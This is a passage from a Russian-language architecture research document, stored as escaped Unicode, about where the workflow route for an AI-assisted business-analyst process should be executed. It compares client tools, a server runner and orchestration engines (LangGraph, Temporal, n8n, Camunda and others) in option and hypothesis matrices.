Cline + Mango AI | \u0421\u0440\u0435\u0434\u0430 3: Qwen Chat | \u0421\u0440\u0435\u0434\u0430 4: \u0441\u0435\u0440\u0432\u0435\u0440 |\\n|------|-----------------------|---------------------------|--------------------|-----------------|\\n| \u041c\u043e\u0434\u0435\u043b\u044c | GigaCode, \u0431\u0435\u0437 API Mango AI | Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API | Qwen, \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e | Mango AI \u0447\u0435\u0440\u0435\u0437 API, \u0432\u044b\u0437\u043e\u0432 \u0438\u0437 \u043a\u043e\u0434\u0430 |\\n| \u0410\u0432\u0442\u043e\u0440 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430 | \u0410\u0433\u0435\u043d\u0442 GigaCode | \u0410\u0433\u0435\u043d\u0442 Cline | \u041c\u043e\u0434\u0435\u043b\u044c \u0432 \u0447\u0430\u0442\u0435 | \u0428\u0430\u0433 runner, \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u0439 \u043c\u043e\u0434\u0435\u043b\u044c |\\n| \u0418\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 | \u0422\u0435\u0440\u043c\u0438\u043d\u0430\u043b | \u041f\u0430\u043d\u0435\u043b\u044c Cline \u0432 VS Code | \u0412\u0435\u0431-\u0447\u0430\u0442 | \u0412\u0435\u0431-\u0447\u0430\u0442, \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440 \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0430 |\\n| \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | **\u0411\u0410 \u0440\u0443\u043a\u0430\u043c\u0438** \u0447\u0435\u0440\u0435\u0437 `tools/run-task` | **\u041c\u043e\u0434\u0435\u043b\u044c** \u043f\u043e \u0442\u0435\u043a\u0441\u0442\u0443 `AGENTS.md` | \u041c\u043e\u0434\u0435\u043b\u044c | Runner \u043a\u0430\u043a \u0441\u043b\u0443\u0436\u0431\u0430 |\\n| \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u0438 \u0433\u0435\u0439\u0442\u043e\u0432 | `validate-package.py` \u0446\u0435\u043b\u0438\u043a\u043e\u043c | `run_task.py` \u0434\u043b\u044f Working \u0438 Release | \u041d\u0435\u0442 | \u0412\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b Source + CI \u0434\u043b\u044f Release |\\n| \u041a\u0430\u043d\u0430\u043b \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f | \u0424\u0440\u0430\u0437\u0430-\u0432\u044b\u0437\u043e\u0432 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435 | \u041f\u043e\u043b\u0435 \u0432 JSON, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u0438\u0448\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c | \u041d\u0435\u0442 | \u041a\u043d\u043e\u043f\u043a\u0430 \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0430 \u0441 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0432 \u0436\u0443\u0440\u043d\u0430\u043b |\\n\\n\u0421\u0442\u0440\u043e\u043a\u0430 \u00ab\u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430\u00bb \u0438 \u0435\u0441\u0442\u044c \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0440\u0430\u0437\u0440\u044b\u0432: \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439\\n\u0441\u0440\u0435\u0434\u0435 \u044d\u0442\u0443 \u0440\u043e\u043b\u044c \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444. \u041a\u043b\u0438\u0435\u043d\u0442\u044b \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c\\n\u043c\u0435\u0441\u0442\u0435 \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u0435\u0451 \u0441\u0430\u043c\u0438: workflow, skill \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u2014 \u044d\u0442\u043e \u0442\u0435\u043a\u0441\u0442,\\n\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c, \u0430 hooks \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432, \u043d\u043e \u043d\u0435\\n\u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 ([\u0413-37](#\u0433-37)\u2026[\u0413-39](#\u0433-39)). \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n\u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0436\u0438\u0442\u044c \u0432 runner, \u0430 \u043a\u043b\u0438\u0435\u043d\u0442 \u2014 \u0431\u044b\u0442\u044c \u043c\u0435\u0441\u0442\u043e\u043c, \u0433\u0434\u0435 \u043f\u0438\u0448\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a.\\n\\n## \u0421\u043b\u043e\u0439 3. \u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\\n\\n### \u041f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440 \u043f\u0440\u0435\u0436\u043d\u0438\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439\\n\\n\u0414\u0432\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u043a\u0430\u0441\u0430\u044e\u0442\u0441\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043f\u0440\u044f\u043c\u043e.\\n\\n- **\u0412\u0435\u0440\u0434\u0438\u043a\u0442 `M4`: \u00abbuild \u2014 YAML-\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442, \u0434\u0432\u0438\u0436\u043e\u043a \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u0435\u043d\u00bb**\\n  ([`research/ba-requirements/orchestration/30-decision-framework.md` L193](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L193)).\\n  YAML \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d. \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c YAML \u0432 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u043d\u0435 \u0432\u043e\u0448\u0451\u043b: \u00ab\u043d\u0435 \u043f\u043e\u043a\u0443\u043f\u0430\u0442\u044c\\n  \u0434\u0432\u0438\u0436\u043e\u043a\u00bb \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043b\u043e\u0441\u044c \u043a\u0430\u043a \u00ab\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\u00bb. \u0414\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 \u043d\u0430\\n  \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u0432\u0435\u0440\u0435\u043d \u0438 \u0441\u0435\u0439\u0447\u0430\u0441. \u0414\u043b\u044f \u0441\u0440\u0435\u0434\u044b 4 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u044b\u043b\u043a\u0430\\n  \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u0430 \u2014 \u00ab\u0435\u0434\u0438\u043d\u0438\u0446\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u2014 \u043f\u0440\u0435\u0434\u043f\u0440\u043e\u0435\u043a\u0442\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u00bb\\n  ([L199-L202](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L199-L202)):\\n  \u043f\u043e\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0434\u043d\u044f\u043c\u0438, \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u043e\u0431\u0449\u0438\u0439\\n  \u0436\u0443\u0440\u043d\u0430\u043b ([\u0413-36](#\u0433-36)).\\n- **\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 C RFC GigaCode: \u00ab\u0412\u0432\u0435\u0441\u0442\u0438 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 workflow engine\u00bb \u2014\\n  \u00ab\u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043e\u00bb**\\n  ([RFC L371-L375](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md#L371-L375)).\\n  \u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043e, \u0430 \u043d\u0435 \u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e, \u0438 \u0431\u0435\u0437 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 ([\u0413-54](#\u0433-54)).\\n  \u041f\u0440\u043e\u0431\u044b `P10`\u2026`P12` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442, \u0447\u0442\u043e \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442 \u0446\u0435\u043b\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435\\n  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442, \u043d\u043e \u043f\u0440\u0438\u0447\u0438\u043d\u044b \u0434\u0435\u0448\u0451\u0432\u044b\u0435 \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 runner, \u0431\u0435\u0437 \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e\\n  \u0434\u0432\u0438\u0436\u043a\u0430. \u0423\u0441\u043b\u043e\u0432\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0442\u0430\u043a: \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0434\u0432\u0438\u0436\u043e\u043a\\n  \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f, \u043a\u043e\u0433\u0434\u0430 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043d\u0443\u0436\u043d\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f,\\n  \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f \u0434\u043e\u043b\u044c\u0448\u0435 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u0438 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0436\u0443\u0440\u043d\u0430\u043b, \u0442\u043e \u0435\u0441\u0442\u044c \u043f\u0440\u0438\\n  \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u0432 \u0441\u0440\u0435\u0434\u0443 4.\\n- **\u041f\u043b\u0430\u043d n8n \u043c\u0430\u044f 2026.** \u042d\u0442\u0430\u043f 4 \u0434\u043e\u0440\u043e\u0436\u043d\u043e\u0439 \u043a\u0430\u0440\u0442\u044b RAG \u2014\\n  \u00abn8n-\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0446\u0438\u044f\u00bb \u0441 human gates\\n  ([`2026-05-26-rag-mapping-roadmap.md` L275-L283](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-rag-mapping-roadmap.md#L275-L283))\\n  \u2014 \u0438 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u044d\u0442\u0430\u043f\u043e\u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043a \u0443\u0437\u043b\u0430\u043c n8n\\n  ([`2026-05-26-requirements-lifecycle-uncertainty.md` L425-L437](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-requirements-lifecycle-uncertainty.md#L425-L437)).\\n  \u041f\u043e\u0437\u0436\u0435 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 `M4` n8n \u043d\u0435 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442, \u0438 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\\n  \u043d\u0435\u0442 ([\u0413-50](#\u0433-50)). \u042d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0434\u0430\u0451\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u044e\u0449\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443.\\n\\n### \u041c\u0430\u0442\u0440\u0438\u0446\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432\\n\\n\u041e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f: \u25cf \u2014 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e, \u25d0 \u2014 \u0441 \u0443\u0441\u043b\u043e\u0432\u0438\u0435\u043c, \u25cb \u2014 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e.\\n\u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0438:\\n\u041a1 \u2014 \u0433\u0440\u0430\u0444 \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u0438\u0437 Source \u0431\u0435\u0437 \u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u043a\u0438;\\n\u041a2 \u2014 \u043f\u0430\u0443\u0437\u0430 \u0438 \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0430 \u0434\u043d\u0438;\\n\u041a3 \u2014 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0440\u0435\u0434\u0435;\\n\u041a4 \u2014 \u0443\u0434\u043e\u0431\u0441\u0442\u0432\u043e \u0434\u043b\u044f \u0411\u0410, \u043d\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0441\u0442\u0430;\\n\u041a5 \u2014 \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0432 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\u0445 \u043f\u0440\u043e\u0435\u043a\u0442\u0430;\\n\u041a6 \u2014 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044f \u0434\u043b\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f;\\n\u041a7 \u2014 \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u0441 Source, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u043e\u043c \u0438 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u0430\u043c\u0438;\\n\u041a8 \u2014 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438.\\n\\n| \u2116 | \u0412\u0430\u0440\u0438\u0430\u043d\u0442 | \u041a1 | \u041a2 | \u041a3 | \u041a4 | \u041a5 | \u041a6 | \u041a7 | \u041a8 | \u0418\u0442\u043e\u0433 |\\n|---|---------|----|----|----|----|----|----|----|----|------|\\n| \u0412-0 | \u041a\u0430\u043a \u0441\u0435\u0439\u0447\u0430\u0441: runner-\u043f\u0440\u0438\u0432\u0440\u0430\u0442\u043d\u0438\u043a, \u0411\u0410 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b | \u25cb | \u25cb | \u25cf | \u25cb | \u25cf | \u25cf | \u25cf | \u25cf | \u041e\u0442\u043f\u0440\u0430\u0432\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 |\\n| \u0412-1 | Runner-\u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 | \u25cf | \u25d0 | \u25cf | \u25d0 | \u25cf | \u25cf | \u25cf | \u25cf | **\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1** |\\n| \u0412-2 | \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0447\u0435\u0440\u0435\u0437 MCP \u0438\u043b\u0438 skill \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0431\u0435\u0437 runner-\u0432\u0435\u0434\u0443\u0449\u0435\u0433\u043e | \u25cb | \u25cb | \u25cf | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442: \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c |\\n| \u0412-3 | \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439 runner: FastAPI + \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442 + Postgres | \u25cf | \u25cf | \u25cf | \u25cf | \u25d0 | \u25cf | \u25cf | \u25d0 | **\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2** |\\n| \u0412-4 | \u0412-3 \u0441 \u0434\u0432\u0438\u0436\u043a\u043e\u043c LangGraph (\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430, MIT) | \u25d0 | \u25cf | \u25cf | \u25cf | \u25d0 | \u25cf | \u25d0 | \u25d0 | \u0420\u0430\u0437\u0432\u0438\u0442\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 |\\n| \u0412-5 | Temporal | \u25d0 | \u25cf | \u25cf | \u25cb | \u25cb | \u25cf | \u25d0 | \u25d0 | \u0418\u0437\u0431\u044b\u0442\u043e\u0447\u0435\u043d \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0433\u0440\u0430\u0444\u0430 |\\n| \u0412-6 | n8n \u043a\u0430\u043a \u044f\u0434\u0440\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | \u25cb | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25cb | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 \u043a\u0430\u043a \u044f\u0434\u0440\u043e |\\n| \u0412-7 | n8n \u043a\u0430\u043a \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430 \u0432\u043e\u043a\u0440\u0443\u0433 \u0412-3 | \u25cf | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u25d0 | \u25d0 | \u0414\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0435 \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 |\\n| \u0412-8 | Dify \u0438\u043b\u0438 Flowise | \u25cb | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 |\\n| \u0412-9 | Windmill, Kestra \u0438\u043b\u0438 Prefect | \u25d0 | \u25d0 | \u25cf | \u25cb | \u25d0 | \u25d0 | \u25d0 | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442: \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u043e\u0432 \u0434\u0430\u043d\u043d\u044b\u0445 |\\n| \u0412-10 | BPMN: Camunda 8 \u0438\u043b\u0438 Operaton | \u25cb | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25d0 | \u25cb | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 |\\n\\n\u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0446\u0435\u043d\u043e\u043a \u2014 \u0432 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\u0445 \u0433\u0440\u0443\u043f\u043f\u044b\\n[\u0417](#\u0437-\u0441\u043b\u043e\u0439-3-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b-\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438-\u0438-\u0437\u0430\u043f\u0443\u0441\u043a\u0430) \u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0435\\n[\u00ab\u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b\u00bb](#\u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u0435-\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b-\u0438-\u0438\u0445-\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f).\\n\\n## \u041c\u0430\u0442\u0440\u0438\u0446\u0430 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\\n\\n\u0421\u0441\u044b\u043b\u043a\u0438 \u0432\u0435\u0434\u0443\u0442 \u043d\u0430 `main`. \u041a\u043e\u0440\u043e\u0442\u043a\u0438\u0435 \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f: `G` \u2014 \u043f\u0430\u043a\u0435\u0442\\n[`dist/execution-package-gigacode-cli/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli),\\n`MM` \u2014 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\\n[`ba-meta-model/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model),\\n`P10`\u2026`P12` \u2014 \u043f\u0440\u043e\u0431\u044b \u0438\u0437\\n[\u0436\u0443\u0440\u043d\u0430\u043b\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.log).\\n\\n### \u0415. \u0421\u043b\u043e\u0439 1: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0435\u0451 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\\n\\n| \u2116 | \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 | \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e | \u0421\u0442\u0430\u0442\u0443\u0441 | \u0423\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c | \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f |\\n|---|----------|----------------|--------|-------------|--------------|\\n| \u0413-26 | \u0412 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043e, \u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 | `MM` \u043f\u043e\u0440\u0443\u0447\u0430\u0435\u0442 \u0447\u0442\u0435\u043d\u0438\u0435 `routes/` \u0438 \u0437\u0430\u043f\u0438\u0441\u044c \u043b\u0438\u0441\u0442\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0443\u00bb ([L49](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L49), [L154](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L154)), \u043d\u043e \u0441\u0440\u0435\u0434\u0438 [\u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L35-L53) \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442; `Actor` \u2014 \u00ab\u043a\u0442\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b \u0448\u0430\u0433\u00bb, \u0430 `System` \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u0435\u043c \u0431\u044b\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 ([`SY-1`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L65)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c.** \u041e\u0431\u044a\u044f\u0432\u0438\u0442\u044c \u0440\u043e\u043b\u044c \u00ab\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430\u00bb \u043a\u0430\u043a \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u0440\u0435\u0434\u044b, \u0430 \u043d\u0435 \u043a\u0430\u043a `Actor`: \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444, \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0440\u0435\u0431\u0440\u043e \u043f\u043e \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u0443, \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0433\u0435\u0439\u0442 \u0438 \u043f\u0438\u0448\u0435\u0442 \u0436\u0443\u0440\u043d\u0430\u043b. 